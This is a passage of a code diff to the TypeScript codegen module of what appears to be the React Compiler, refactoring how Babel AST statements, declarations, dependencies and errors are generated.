       });
       if (terminal.test.instructions.length !== 2) {
-        CompilerError.throwTodo({
-          reason: "Support non-trivial for..of inits",
-          description: null,
-          loc: terminal.init.loc,
-          suggestions: null,
-        });
+        cx.recordError(
+          new CompilerErrorDetail({
+            reason: 'Support non-trivial for..of inits',
+            category: ErrorCategory.Todo,
+            loc: terminal.init.loc,
+            suggestions: null,
+          }),
+        );
+        return t.emptyStatement();
       }
       const iterableItem = terminal.test.instructions[1];
       let lval: t.LVal;
       switch (iterableItem.value.kind) {
-        case "StoreLocal": {
+        case 'StoreLocal': {
           lval = codegenLValue(cx, iterableItem.value.lvalue.place);
           break;
         }
-        case "Destructure": {
+        case 'Destructure': {
           lval = codegenLValue(cx, iterableItem.value.lvalue.pattern);
           break;
         }
+        case 'StoreContext': {
+          cx.recordError(
+            new CompilerErrorDetail({
+              reason: 'Support non-trivial for..of inits',
+              category: ErrorCategory.Todo,
+              loc: terminal.init.loc,
+              suggestions: null,
+            }),
+          );
+          return t.emptyStatement();
+        }
         default:
           CompilerError.invariant(false, {
             reason: `Expected a StoreLocal or Destructure to be assigned to the collection`,
             description: `Found ${iterableItem.value.kind}`,
             loc: iterableItem.value.loc,
-            suggestions: null,
           });
       }
-      let varDeclKind: "const" | "let";
+      let varDeclKind: 'const' | 'let';
       switch (iterableItem.value.lvalue.kind) {
         case InstructionKind.Const:
-          varDeclKind = "const" as const;
+          varDeclKind = 'const' as const;
           break;
         case InstructionKind.Let:
-          varDeclKind = "let" as const;
+          varDeclKind = 'let' as const;
           break;
         case InstructionKind.Reassign:
-          CompilerError.invariant(false, {
-            reason:
-              "Destructure should never be Reassign as it would be an Object/ArrayPattern",
-            description: null,
-            loc: iterableItem.loc,
-            suggestions: null,
-          });
         case InstructionKind.Catch:
-          CompilerError.invariant(false, {
-            reason: "Unexpected catch variable as for..of collection",
-            description: null,
-            loc: iterableItem.loc,
-            suggestions: null,
-          });
         case InstructionKind.HoistedConst:
+        case InstructionKind.HoistedLet:
+        case InstructionKind.HoistedFunction:
+        case InstructionKind.Function:
           CompilerError.invariant(false, {
-            reason: "Unexpected HoistedConst variable in for..of collection",
-            description: null,
+            reason: `Unexpected ${iterableItem.value.lvalue.kind} variable in for..of collection`,
             loc: iterableItem.loc,
-            suggestions: null,
           });
         default:
           assertExhaustive(
             iterableItem.value.lvalue.kind,
-            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`
+            `Unhandled lvalue kind: ${iterableItem.value.lvalue.kind}`,
           );
       }
-      return t.forOfStatement(
+      return createForOfStatement(
+        terminal.loc,
         /*
          * Special handling here since we only want the VariableDeclarators without any inits
          * This needs to be updated when we handle non-trivial ForOf inits
@@ -1043,10 +953,10 @@ function codegenTerminal(
           t.variableDeclarator(lval, null),
         ]),
         codegenInstructionValueToExpression(cx, iterableCollection),
-        codegenBlock(cx, terminal.loop)
+        codegenBlock(cx, terminal.loop),
       );
     }
-    case "if": {
+    case 'if': {
       const test = codegenPlaceToExpression(cx, terminal.test);
       const consequent = codegenBlock(cx, terminal.consequent);
       let alternate: t.Statement | null = null;
@@ -1056,58 +966,71 @@ function codegenTerminal(
           alternate = block;
         }
       }
-      return t.ifStatement(test, consequent, alternate);
+      return createIfStatement(terminal.loc, test, consequent, alternate);
     }
-    case "return": {
+    case 'return': {
       const value = codegenPlaceToExpression(cx, terminal.value);
-      if (value.type === "Identifier" && value.name === "undefined") {
+      if (value.type === 'Identifier' && value.name === 'undefined') {
         // Use implicit undefined
-        return t.returnStatement();
+        return createReturnStatement(terminal.loc);
       }
-      return t.returnStatement(value);
+      return createReturnStatement(terminal.loc, value);
     }
-    case "switch": {
-      return t.switchStatement(
+    case 'switch': {
+      return createSwitchStatement(
+        terminal.loc,
         codegenPlaceToExpression(cx, terminal.test),
-        terminal.cases.map((case_) => {
+        terminal.cases.map(case_ => {
           const test =
             case_.test !== null
               ? codegenPlaceToExpression(cx, case_.test)
               : null;
           const block = codegenBlock(cx, case_.block!);
-          return t.switchCase(test, [block]);
-        })
+          return t.switchCase(test, block.body.length === 0 ? [] : [block]);
+        }),
       );
     }
-    case "throw": {
-      return t.throwStatement(codegenPlaceToExpression(cx, terminal.value));
+    case 'throw': {
+      return createThrowStatement(
+        terminal.loc,
+        codegenPlaceToExpression(cx, terminal.value),
+      );
     }
-    case "do-while": {
+    case 'do-while': {
       const test = codegenInstructionValueToExpression(cx, terminal.test);
-      return t.doWhileStatement(test, codegenBlock(cx, terminal.loop));
+      return createDoWhileStatement(
+        terminal.loc,
+        test,
+        codegenBlock(cx, terminal.loop),
+      );
     }
-    case "while": {
+    case 'while': {
       const test = codegenInstructionValueToExpression(cx, terminal.test);
-      return t.whileStatement(test, codegenBlock(cx, terminal.loop));
+      return createWhileStatement(
+        terminal.loc,
+        test,
+        codegenBlock(cx, terminal.loop),
+      );
     }
-    case "label": {
+    case 'label': {
       return codegenBlock(cx, terminal.block);
     }
-    case "try": {
+    case 'try': {
       let catchParam = null;
       if (terminal.handlerBinding !== null) {
         catchParam = convertIdentifier(terminal.handlerBinding.identifier);
-        cx.temp.set(terminal.handlerBinding.identifier.id, null);
+        cx.temp.set(terminal.handlerBinding.identifier.declarationId, null);
       }
-      return t.tryStatement(
+      return createTryStatement(
+        terminal.loc,
         codegenBlock(cx, terminal.block),
-        t.catchClause(catchParam, codegenBlock(cx, terminal.handler))
+        t.catchClause(catchParam, codegenBlock(cx, terminal.handler)),
       );
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any).kind}\``
+        `Unexpected terminal kind \`${(terminal as any).kind}\``,
       );
     }
   }
@@ -1115,30 +1038,30 @@ function codegenTerminal(
 
 function codegenInstructionNullable(
   cx: Context,
-  instr: ReactiveInstruction
+  instr: ReactiveInstruction,
 ): t.Statement | null {
   if (
-    instr.value.kind === "StoreLocal" ||
-    instr.value.kind === "StoreContext" ||
-    instr.value.kind === "Destructure" ||
-    instr.value.kind === "DeclareLocal" ||
-    instr.value.kind === "DeclareContext"
+    instr.value.kind === 'StoreLocal' ||
+    instr.value.kind === 'StoreContext' ||
+    instr.value.kind === 'Destructure' ||
+    instr.value.kind === 'DeclareLocal' ||
+    instr.value.kind === 'DeclareContext'
   ) {
     let kind: InstructionKind = instr.value.lvalue.kind;
     let lvalue: Place | Pattern;
     let value: t.Expression | null;
-    if (instr.value.kind === "StoreLocal") {
+    if (instr.value.kind === 'StoreLocal') {
       kind = cx.hasDeclared(instr.value.lvalue.place.identifier)
         ? InstructionKind.Reassign
         : kind;
       lvalue = instr.value.lvalue.place;
       value = codegenPlaceToExpression(cx, instr.value.value);
-    } else if (instr.value.kind === "StoreContext") {
+    } else if (instr.value.kind === 'StoreContext') {
       lvalue = instr.value.lvalue.place;
       value = codegenPlaceToExpression(cx, instr.value.value);
     } else if (
-      instr.value.kind === "DeclareLocal" ||
-      instr.value.kind === "DeclareContext"
+      instr.value.kind === 'DeclareLocal' ||
+      instr.value.kind === 'DeclareContext'
     ) {
       if (cx.hasDeclared(instr.value.lvalue.place.identifier)) {
         return null;
@@ -1148,29 +1071,13 @@ function codegenInstructionNullable(
       value = null;
     } else {
       lvalue = instr.value.lvalue.pattern;
-      let hasReasign = false;
-      let hasDeclaration = false;
       for (const place of eachPatternOperand(lvalue)) {
         if (
           kind !== InstructionKind.Reassign &&
           place.identifier.name === null
         ) {
-          cx.temp.set(place.identifier.id, null);
+          cx.temp.set(place.identifier.declarationId, null);
         }
-        const isDeclared = cx.hasDeclared(place.identifier);
-        hasReasign ||= isDeclared;
-        hasDeclaration ||= !isDeclared;
-      }
-      if (hasReasign && hasDeclaration) {
-        CompilerError.invariant(false, {
-          reason:
-            "Encountered a destructuring operation where some identifiers are already declared (reassignments) but others are not (declarations)",
-          description: null,
-          loc: instr.loc,
-          suggestions: null,
-        });
-      } else if (hasReasign) {
-        kind = InstructionKind.Reassign;
       }
       value = codegenPlaceToExpression(cx, instr.value.value);
     }
@@ -1178,45 +1085,65 @@ function codegenInstructionNullable(
       case InstructionKind.Const: {
         CompilerError.invariant(instr.lvalue === null, {
           reason: `Const declaration cannot be referenced as an expression`,
-          description: null,
+          message: `this is ${kind}`,
           loc: instr.value.loc,
-          suggestions: null,
         });
-        return createVariableDeclaration(instr.loc, "const", [
-          t.variableDeclarator(codegenLValue(cx, lvalue), value),
+        return createVariableDeclaration(instr.loc, 'const', [
+          createVariableDeclarator(codegenLValue(cx, lvalue), value),
         ]);
       }
+      case InstructionKind.Function: {
+        CompilerError.invariant(instr.lvalue === null, {
+          reason: `Function declaration cannot be referenced as an expression`,
+          loc: instr.value.loc,
+        });
+        const genLvalue = codegenLValue(cx, lvalue);
+        CompilerError.invariant(genLvalue.type === 'Identifier', {
+          reason: 'Expected an identifier as a function declaration lvalue',
+          loc: instr.value.loc,
+        });
+        CompilerError.invariant(value?.type === 'FunctionExpression', {
+          reason: 'Expected a function as a function declaration value',
+          description: `Got ${value == null ? String(value) : value.type} at ${printInstruction(instr)}`,
+          loc: instr.value.loc,
+        });
+        return createFunctionDeclaration(
+          instr.loc,
+          genLvalue,
+          value.params,
+          value.body,
+          value.generator,
+          value.async,
+        );
+      }
       case InstructionKind.Let: {
         CompilerError.invariant(instr.lvalue === null, {
           reason: `Const declaration cannot be referenced as an expression`,
-          description: null,
+          message: `this is ${kind}`,
           loc: instr.value.loc,
-          suggestions: null,
         });
-        return createVariableDeclaration(instr.loc, "let", [
-          t.variableDeclarator(codegenLValue(cx, lvalue), value),
+        return createVariableDeclaration(instr.loc, 'let', [
+          createVariableDeclarator(codegenLValue(cx, lvalue), value),
         ]);
       }
       case InstructionKind.Reassign: {
         CompilerError.invariant(value !== null, {
-          reason: "Expected a value for reassignment",
-          description: null,
+          reason: 'Expected a value for reassignment',
           loc: instr.value.loc,
-          suggestions: null,
         });
         const expr = t.assignmentExpression(
-          "=",
+          '=',
           codegenLValue(cx, lvalue),
-          value
+          value,
         );
         if (instr.lvalue !== null) {
-          if (instr.value.kind !== "StoreContext") {
-            cx.temp.set(instr.lvalue.identifier.id, expr);
+          if (instr.value.kind !== 'StoreContext') {
+            cx.temp.set(instr.lvalue.identifier.declarationId, expr);
             return null;
           } else {
             // Handle chained reassignments for context variables
             const statement = codegenInstruction(cx, instr, expr);
-            if (statement.type === "EmptyStatement") {
+            if (statement.type === 'EmptyStatement') {
               return null;
             }
             return statement;
@@ -1228,13 +1155,12 @@ function codegenInstructionNullable(
       case InstructionKind.Catch: {
         return t.emptyStatement();
       }
-      case InstructionKind.HoistedConst: {
+      case InstructionKind.HoistedLet:
+      case InstructionKind.HoistedConst:
+      case InstructionKind.HoistedFunction: {
         CompilerError.invariant(false, {
-          reason:
-            "Expected HoistedConsts to have been pruned in PruneHoistedContexts",
-          description: null,
+          reason: `Expected ${kind} to have been pruned in PruneHoistedContexts`,
           loc: instr.loc,
-          suggestions: null,
         });
       }
       default: {
@@ -1242,24 +1168,23 @@ function codegenInstructionNullable(
       }
     }
   } else if (
-    instr.value.kind === "StartMemoize" ||
-    instr.value.kind === "FinishMemoize"
+    instr.value.kind === 'StartMemoize' ||
+    instr.value.kind === 'FinishMemoize'
   ) {
     return null;
-  } else if (instr.value.kind === "Debugger") {
+  } else if (instr.value.kind === 'Debugger') {
     return t.debuggerStatement();
-  } else if (instr.value.kind === "ObjectMethod") {
+  } else if (instr.value.kind === 'ObjectMethod') {
     CompilerError.invariant(instr.lvalue, {
-      reason: "Expected object methods to have a temp lvalue",
-      loc: null,
-      suggestions: null,
+      reason: 'Expected object methods to have a temp lvalue',
+      loc: GeneratedSource,
     });
     cx.objectMethods.set(instr.lvalue.identifier.id, instr.value);
     return null;
   } else {
     const value = codegenInstructionValue(cx, instr.value);
     const statement = codegenInstruction(cx, instr, value);
-    if (statement.type === "EmptyStatement") {
+    if (statement.type === 'EmptyStatement') {
       return null;
     }
     return statement;
@@ -1268,53 +1193,49 @@ function codegenInstructionNullable(
 
 function codegenForInit(
   cx: Context,
-  init: ReactiveValue
+  init: ReactiveValue,
 ): t.Expression | t.VariableDeclaration | null {
-  if (init.kind === "SequenceExpression") {
-    for (const instr of init.instructions) {
-      if (instr.value.kind === "DeclareContext") {
-        CompilerError.throwTodo({
-          reason: `Support for loops where the index variable is a context variable`,
-          loc: instr.loc,
-          description:
-            instr.value.lvalue.place.identifier.name != null
-              ? `\`${instr.value.lvalue.place.identifier.name.value}\` is a context variable`
-              : null,
-          suggestions: null,
-        });
-      }
-    }
-
+  if (init.kind === 'SequenceExpression') {
     const body = codegenBlock(
       cx,
-      init.instructions.map((instruction) => ({
-        kind: "instruction",
+      init.instructions.map(instruction => ({
+        kind: 'instruction',
         instruction,
-      }))
+      })),
     ).body;
     const declarators: Array<t.VariableDeclarator> = [];
-    let kind: "let" | "const" = "const";
-    body.forEach((instr) => {
-      CompilerError.invariant(
-        instr.type === "VariableDeclaration" &&
-          (instr.kind === "let" || instr.kind === "const"),
-        {
-          reason: "Expected a variable declaration",
-          loc: init.loc,
-          description: `Got ${instr.type}`,
-          suggestions: null,
+    let kind: 'let' | 'const' = 'const';
+    body.forEach(instr => {
+      let top: undefined | t.VariableDeclarator = undefined;
+      if (
+        instr.type === 'ExpressionStatement' &&
+        instr.expression.type === 'AssignmentExpression' &&
+        instr.expression.operator === '=' &&
+        instr.expression.left.type === 'Identifier' &&
+        (top = declarators.at(-1))?.id.type === 'Identifier' &&
+        top?.id.name === instr.expression.left.name &&
+        top?.init == null
+      ) {
+        top.init = instr.expression.right;
+      } else {
+        CompilerError.invariant(
+          instr.type === 'VariableDeclaration' &&
+            (instr.kind === 'let' || instr.kind === 'const'),
+          {
+            reason: 'Expected a variable declaration',
+            description: `Got ${instr.type}`,
+            loc: init.loc,
+          },
+        );
+        if (instr.kind === 'let') {
+          kind = 'let';
         }
-      );
-      if (instr.kind === "let") {
-        kind = "let";
+        declarators.push(...instr.declarations);
       }
-      declarators.push(...instr.declarations);
     });
     CompilerError.invariant(declarators.length > 0, {
-      reason: "Expected a variable declaration",
+      reason: 'Expected a variable declaration',
       loc: init.loc,
-      description: null,
-      suggestions: null,
     });
     return t.variableDeclaration(kind, declarators);
   } else {
@@ -1322,56 +1243,36 @@ function codegenForInit(
   }
 }
 
-function printDependencyComment(dependency: ReactiveScopeDependency): string {
-  const identifier = convertIdentifier(dependency.identifier);
-  let name = identifier.name;
-  if (dependency.path !== null) {
-    for (const path of dependency.path) {
-      name += `.${path}`;
-    }
-  }
-  return name;
-}
-
-function printDelimitedCommentList(
-  items: Array<string>,
-  finalCompletion: string
-): string {
-  if (items.length === 2) {
-    return items.join(` ${finalCompletion} `);
-  } else if (items.length <= 1) {
-    return items.join("");
-  }
-
-  let output = [];
-  for (let i = 0; i < items.length; i++) {
-    const item = items[i]!;
-    if (i < items.length - 2) {
-      output.push(`${item}, `);
-    } else if (i === items.length - 2) {
-      output.push(`${item}, ${finalCompletion} `);
-    } else {
-      output.push(item);
-    }
-  }
-  return output.join("");
-}
-
 function codegenDependency(
   cx: Context,
-  dependency: ReactiveScopeDependency
+  dependency: ReactiveScopeDependency,
 ): t.Expression {
   let object: t.Expression = convertIdentifier(dependency.identifier);
-  if (dependency.path !== null) {
+  if (dependency.path.length !== 0) {
+    const hasOptional = dependency.path.some(path => path.optional);
     for (const path of dependency.path) {
-      object = t.memberExpression(object, t.identifier(path));
+      const property =
+        typeof path.property === 'string'
+          ? t.identifier(path.property)
+          : t.numericLiteral(path.property);
+      const isComputed = typeof path.property !== 'string';
+      if (hasOptional) {
+        object = t.optionalMemberExpression(
+          object,
+          property,
+          isComputed,
+          path.optional,
+        );
+      } else {
+        object = t.memberExpression(object, property, isComputed);
+      }
     }
   }
   return object;
 }
 
 function withLoc<T extends (...args: Array<any>) => t.Node>(
-  fn: T
+  fn: T,
 ): (
   loc: SourceLocation | null | undefined,
   ...args: Parameters<T>
@@ -1388,11 +1289,21 @@ function withLoc<T extends (...args: Array<any>) => t.Node>(
   };
 }
 
+const createIdentifier = withLoc(t.identifier);
+const createArrayPattern = withLoc(t.arrayPattern);
+const createObjectPattern = withLoc(t.objectPattern);
 const createBinaryExpression = withLoc(t.binaryExpression);
 const createExpressionStatement = withLoc(t.expressionStatement);
 const _createLabelledStatement = withLoc(t.labeledStatement);
 const createVariableDeclaration = withLoc(t.variableDeclaration);
-const _createWhileStatement = withLoc(t.whileStatement);
+const createFunctionDeclaration = withLoc(t.functionDeclaration);
+const createWhileStatement = withLoc(t.whileStatement);
+const createDoWhileStatement = withLoc(t.doWhileStatement);
+const createSwitchStatement = withLoc(t.switchStatement);
+const createIfStatement = withLoc(t.ifStatement);
+const createForStatement = withLoc(t.forStatement);
+const createForOfStatement = withLoc(t.forOfStatement);
+const createForInStatement = withLoc(t.forInStatement);
 const createTaggedTemplateExpression = withLoc(t.taggedTemplateExpression);
 const createLogicalExpression = withLoc(t.logicalExpression);
 const createSequenceExpression = withLoc(t.sequenceExpression);
@@ -1407,25 +1318,55 @@ const createJsxText = withLoc(t.jsxText);
 const createJsxClosingElement = withLoc(t.jsxClosingElement);
 const createJsxOpeningElement = withLoc(t.jsxOpeningElement);
 const createStringLiteral = withLoc(t.stringLiteral);
+const createThrowStatement = withLoc(t.throwStatement);
+const createTryStatement = withLoc(t.tryStatement);
+const createBreakStatement = withLoc(t.breakStatement);
+const createContinueStatement = withLoc(t.continueStatement);
+const createReturnStatement = withLoc(t.returnStatement);
+
+function createVariableDeclarator(
+  id: t.LVal,
+  init?: t.Expression | null,
+): t.VariableDeclarator {
+  const node = t.variableDeclarator(id, init);
+
+  /*
+   * The variable declarator location is not preserved in HIR, however, we can use the
+   * start location of the id and the end location of the init to recreate the
+   * exact original variable declarator location.
+   *
+   * Or if init is null, we likely have a declaration without an initializer, so we can use the id.loc.end as the end location.
+   */
+  if (id.loc && (init === null || init?.loc)) {
+    node.loc = {
+      start: id.loc.start,
+      end: init?.loc?.end ?? id.loc.end,
+      filename: id.loc.filename,
+      identifierName: undefined,
+    };
+  }
+
+  return node;
+}
 
 function createHookGuard(
   guard: ExternalFunction,
+  context: ProgramContext,
   stmts: Array<t.Statement>,
   before: GuardKind,
-  after: GuardKind
+  after: GuardKind,
 ): t.TryStatement {
+  const guardFnName = context.addImportSpecifier(guard).name;
   function createHookGuardImpl(kind: number): t.ExpressionStatement {
     return t.expressionStatement(
-      t.callExpression(t.identifier(guard.importSpecifierName), [
-        t.numericLiteral(kind),
-      ])
+      t.callExpression(t.identifier(guardFnName), [t.numericLiteral(kind)]),
     );
   }
 
   return t.tryStatement(
     t.blockStatement([createHookGuardImpl(before), ...stmts]),
     null,
-    t.blockStatement([createHookGuardImpl(after)])
+    t.blockStatement([createHookGuardImpl(after)]),
   );
 }
 
@@ -1449,30 +1390,31 @@ function createHookGuard(
  * ```
  */
 function createCallExpression(
-  config: EnvironmentConfig,
+  env: Environment,
   callee: t.Expression,
   args: Array<t.Expression | t.SpreadElement>,
   loc: SourceLocation | null,
-  isHook: boolean
+  isHook: boolean,
 ): t.CallExpression {
   const callExpr = t.callExpression(callee, args);
   if (loc != null && loc != GeneratedSource) {
     callExpr.loc = loc;
   }
 
-  const hookGuard = config.enableEmitHookGuards;
-  if (hookGuard != null && isHook) {
+  const hookGuard = env.config.enableEmitHookGuards;
+  if (hookGuard != null && isHook && env.outputMode === 'client') {
     const iife = t.functionExpression(
       null,
       [],
       t.blockStatement([
         createHookGuard(
           hookGuard,
+          env.programContext,
           [t.returnStatement(callExpr)],
           GuardKind.AllowHook,
-          GuardKind.DisallowHook
+          GuardKind.DisallowHook,
         ),
-      ])
+      ]),
     );
     return t.callExpression(iife, []);
   } else {
@@ -1480,7 +1422,7 @@ function createCallExpression(
   }
 }
 
-type Temporaries = Map<IdentifierId, t.Expression | t.JSXText | null>;
+type Temporaries = Map<DeclarationId, t.Expression | t.JSXText | null>;
 
 function codegenLabel(id: BlockId): string {
   return `bb${id}`;
@@ -1489,7 +1431,7 @@ function codegenLabel(id: BlockId): string {
 function codegenInstruction(
   cx: Context,
   instr: ReactiveInstruction,
-  value: t.Expression | t.JSXText
+  value: t.Expression | t.JSXText,
 ): t.Statement {
   if (t.isStatement(value)) {
     return value;
@@ -1499,7 +1441,7 @@ function codegenInstruction(
   }
   if (instr.lvalue.identifier.name === null) {
     // temporary
-    cx.temp.set(instr.lvalue.identifier.id, value);
+    cx.temp.set(instr.lvalue.identifier.declarationId, value);
     return t.emptyStatement();
   } else {
     const expressionValue = convertValueToExpression(value);
@@ -1507,16 +1449,16 @@ function codegenInstruction(
       return createExpressionStatement(
         instr.loc,
         t.assignmentExpression(
-          "=",
+          '=',
           convertIdentifier(instr.lvalue.identifier),
-          expressionValue
-        )
+          expressionValue,
+        ),
       );
     } else {
-      return createVariableDeclaration(instr.loc, "const", [
-        t.variableDeclarator(
+      return createVariableDeclaration(instr.loc, 'const', [
+        createVariableDeclarator(
           convertIdentifier(instr.lvalue.identifier),
-          expressionValue
+          expressionValue,
         ),
       ]);
     }
@@ -1524,9 +1466,9 @@ function codegenInstruction(
 }
 
 function convertValueToExpression(
-  value: t.JSXText | t.Expression
+  value: t.JSXText | t.Expression,
 ): t.Expression {
-  if (value.type === "JSXText") {
+  if (value.type === 'JSXText') {
     return createStringLiteral(value.loc, value.value);
   }
   return value;
@@ -1534,7 +1476,7 @@ function convertValueToExpression(
 
 function codegenInstructionValueToExpression(
   cx: Context,
-  instrValue: ReactiveValue
+  instrValue: ReactiveValue,
 ): t.Expression {
   const value = codegenInstructionValue(cx, instrValue);
   return convertValueToExpression(value);
@@ -1542,15 +1484,15 @@ function codegenInstructionValueToExpression(
 
 function codegenInstructionValue(
   cx: Context,
-  instrValue: ReactiveValue
+  instrValue: ReactiveValue,
 ): t.Expression | t.JSXText {
   let value: t.Expression | t.JSXText;
   switch (instrValue.kind) {
-    case "ArrayExpression": {
-      const elements = instrValue.elements.map((element) => {
-        if (element.kind === "Identifier") {
+    case 'ArrayExpression': {
+      const elements = instrValue.elements.map(element => {
+        if (element.kind === 'Identifier') {
           return codegenPlaceToExpression(cx, element);
-        } else if (element.kind === "Spread") {
+        } else if (element.kind === 'Spread') {
           return t.spreadElement(codegenPlaceToExpression(cx, element.place));
         } else {
           return null;
@@ -1559,103 +1501,98 @@ function codegenInstructionValue(
       value = t.arrayExpression(elements);
       break;
     }
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       const left = codegenPlaceToExpression(cx, instrValue.left);
       const right = codegenPlaceToExpression(cx, instrValue.right);
       value = createBinaryExpression(
         instrValue.loc,
         instrValue.operator,
         left,
-        right
+        right,
       );
       break;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       value = t.unaryExpression(
-        instrValue.operator as "throw", // todo
-        codegenPlaceToExpression(cx, instrValue.value)
+        instrValue.operator,
+        codegenPlaceToExpression(cx, instrValue.value),
       );
       break;
     }
-    case "Primitive": {
+    case 'Primitive': {
       value = codegenValue(cx, instrValue.loc, instrValue.value);
       break;
     }
-    case "CallExpression": {
+    case 'CallExpression': {
       if (cx.env.config.enableForest) {
         const callee = codegenPlaceToExpression(cx, instrValue.callee);
-        const args = instrValue.args.map((arg) => codegenArgument(cx, arg));
+        const args = instrValue.args.map(arg => codegenArgument(cx, arg));
         value = t.callExpression(callee, args);
         if (instrValue.typeArguments != null) {
           value.typeArguments = t.typeParameterInstantiation(
-            instrValue.typeArguments
+            instrValue.typeArguments,
           );
         }
         break;
       }
       const isHook = getHookKind(cx.env, instrValue.callee.identifier) != null;
       const callee = codegenPlaceToExpression(cx, instrValue.callee);
-      const args = instrValue.args.map((arg) => codegenArgument(cx, arg));
+      const args = instrValue.args.map(arg => codegenArgument(cx, arg));
       value = createCallExpression(
-        cx.env.config,
+        cx.env,
         callee,
         args,
         instrValue.loc,
-        isHook
+        isHook,
       );
       break;
     }
-    case "OptionalExpression": {
+    case 'OptionalExpression': {
       const optionalValue = codegenInstructionValueToExpression(
         cx,
-        instrValue.value
+        instrValue.value,
       );
       switch (optionalValue.type) {
-        case "OptionalCallExpression":
-        case "CallExpression": {
+        case 'OptionalCallExpression':
+        case 'CallExpression': {
           CompilerError.invariant(t.isExpression(optionalValue.callee), {
-            reason: "v8 intrinsics are validated during lowering",
-            description: null,
-            loc: optionalValue.callee.loc ?? null,
-            suggestions: null,
+            reason: 'v8 intrinsics are validated during lowering',
+            loc: optionalValue.callee.loc ?? GeneratedSource,
           });
           value = t.optionalCallExpression(
             optionalValue.callee,
             optionalValue.arguments,
-            instrValue.optional
+            instrValue.optional,
           );
           break;
         }
-        case "OptionalMemberExpression":
-        case "MemberExpression": {
+        case 'OptionalMemberExpression':
+        case 'MemberExpression': {
           const property = optionalValue.property;
           CompilerError.invariant(t.isExpression(property), {
-            reason: "Private names are validated during lowering",
-            description: null,
-            loc: property.loc ?? null,
-            suggestions: null,
+            reason: 'Private names are validated during lowering',
+            loc: property.loc ?? GeneratedSource,
           });
           value = t.optionalMemberExpression(
             optionalValue.object,
             property,
             optionalValue.computed,
-            instrValue.optional
+            instrValue.optional,
           );
           break;
         }
         default: {
           CompilerError.invariant(false, {
             reason:
-              "Expected an optional value to resolve to a call expression or member expression",
+              'Expected an optional value to resolve to a call expression or member expression',
             description: `Got a \`${optionalValue.type}\``,
             loc: instrValue.loc,
-            suggestions: null,
           });
         }
       }
       break;
     }
-    case "MethodCall": {
+    case 'MethodCall': {
       const isHook =
         getHookKind(cx.env, instrValue.property.identifier) != null;
       const memberExpr = codegenPlaceToExpression(cx, instrValue.property);
@@ -1664,70 +1601,65 @@ function codegenInstructionValue(
           t.isOptionalMemberExpression(memberExpr),
         {
           reason:
-            "[Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression. " +
-            `Got a \`${memberExpr.type}\``,
-          description: null,
-          loc: memberExpr.loc ?? null,
-          suggestions: null,
-        }
+            '[Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression',
+          message: `Got: '${memberExpr.type}'`,
+          loc: memberExpr.loc ?? GeneratedSource,
+        },
       );
       CompilerError.invariant(
         t.isNodesEquivalent(
           memberExpr.object,
-          codegenPlaceToExpression(cx, instrValue.receiver)
+          codegenPlaceToExpression(cx, instrValue.receiver),
         ),
         {
           reason:
-            "[Codegen] Internal error: Forget should always generate MethodCall::property " +
-            "as a MemberExpression of MethodCall::receiver",
-          description: null,
-          loc: memberExpr.loc ?? null,
-          suggestions: null,
-        }
+            '[Codegen] Internal error: Forget should always generate MethodCall::property ' +
+            'as a MemberExpression of MethodCall::receiver',
+          loc: memberExpr.loc ?? GeneratedSource,
+        },
       );
-      const args = instrValue.args.map((arg) => codegenArgument(cx, arg));
+      const args = instrValue.args.map(arg => codegenArgument(cx, arg));
       value = createCallExpression(
-        cx.env.config,
+        cx.env,
         memberExpr,
         args,
         instrValue.loc,
-        isHook
+        isHook,
       );
       break;
     }
-    case "NewExpression": {
+    case 'NewExpression': {
       const callee = codegenPlaceToExpression(cx, instrValue.callee);
-      const args = instrValue.args.map((arg) => codegenArgument(cx, arg));
+      const args = instrValue.args.map(arg => codegenArgument(cx, arg));
       value = t.newExpression(callee, args);
       break;
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       const properties = [];
       for (const property of instrValue.properties) {
-        if (property.kind === "ObjectProperty") {
+        if (property.kind === 'ObjectProperty') {
           const key = codegenObjectPropertyKey(cx, property.key);
 
           switch (property.type) {
-            case "property": {
+            case 'property': {
               const value = codegenPlaceToExpression(cx, property.place);
               properties.push(
                 t.objectProperty(
                   key,
                   value,
-                  property.key.kind === "computed",
-                  key.type === "Identifier" &&
-                    value.type === "Identifier" &&
-                    value.name === key.name
-                )
+                  property.key.kind === 'computed',
+                  key.type === 'Identifier' &&
+                    value.type === 'Identifier' &&
+                    value.name === key.name,
+                ),
               );
               break;
             }
-            case "method": {
+            case 'method': {
               const method = cx.objectMethods.get(property.place.identifier.id);
               CompilerError.invariant(method, {
-                reason: "Expected ObjectMethod instruction",
-                loc: null,
-                suggestions: null,
+                reason: 'Expected ObjectMethod instruction',
+                loc: GeneratedSource,
               });
               const loweredFunc = method.loweredFunc;
               const reactiveFunction = buildReactiveFunction(loweredFunc.func);
@@ -1736,23 +1668,24 @@ function codegenInstructionValue(
               const fn = codegenReactiveFunction(
                 new Context(
                   cx.env,
-                  reactiveFunction.id ?? "[[ anonymous ]]",
+                  reactiveFunction.id ?? '[[ anonymous ]]',
                   cx.uniqueIdentifiers,
-                  cx.temp
+                  cx.fbtOperands,
+                  cx.temp,
                 ),
-                reactiveFunction
-              ).unwrap();
+                reactiveFunction,
+              );
 
               /*
                * ObjectMethod builder must be backwards compatible with older versions of babel.
                * https://github.com/babel/babel/blob/v7.7.4/packages/babel-types/src/definitions/core.js#L599-L603
                */
               const babelNode = t.objectMethod(
-                "method",
+                'method',
                 key,
                 fn.params,
                 fn.body,
-                false
+                false,
               );
               babelNode.async = fn.async;
               babelNode.generator = fn.generator;
@@ -1762,49 +1695,47 @@ function codegenInstructionValue(
             default:
               assertExhaustive(
                 property.type,
-                `Unexpected property type: ${property.type}`
+                `Unexpected property type: ${property.type}`,
               );
           }
         } else {
           properties.push(
-            t.spreadElement(codegenPlaceToExpression(cx, property.place))
+            t.spreadElement(codegenPlaceToExpression(cx, property.place)),
           );
         }
       }
       value = t.objectExpression(properties);
       break;
     }
-    case "JSXText": {
+    case 'JSXText': {
       value = createJsxText(instrValue.loc, instrValue.value);
       break;
     }
-    case "JsxExpression": {
+    case 'JsxExpression': {
       const attributes: Array<t.JSXAttribute | t.JSXSpreadAttribute> = [];
       for (const attribute of instrValue.props) {
         attributes.push(codegenJsxAttribute(cx, attribute));
       }
       let tagValue =
-        instrValue.tag.kind === "Identifier"
